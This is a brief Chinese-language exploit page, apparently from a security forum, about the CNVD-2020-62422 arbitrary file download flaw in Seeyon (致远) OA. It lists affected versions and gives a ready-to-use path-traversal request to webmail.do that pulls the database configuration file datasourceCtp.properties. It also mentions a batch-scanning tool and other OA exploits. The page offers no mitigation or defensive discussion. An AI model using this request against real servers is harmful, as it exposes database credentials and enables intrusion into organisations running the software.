致远OA 任意文件下载（CNVD-2020-62422）

[Shacker已验证会员]

## 漏洞概述致远OA的webmail.do接口存在任意文件下载漏洞，攻击者可利用该漏洞下载任意文件，获取敏感信息‘；

## 影响范围

```http
A6-V5
A8-V5
G6-V5
影响范围极广泛
```

##  POC&EXP

验证POC-下载数据库配置文件

```http
http://xxx.com/seeyon/webmail.do?method=doDownloadAtt&filename=data.txt&filePath=../conf/datasourceCtp.properties
```

批量POC

```http
大宝剑（已同步）
```

 

致远OA  Session-任意文件上传 包含EXP

通达OA  (蚁剑)通达OA v11.8 后台命令执行漏洞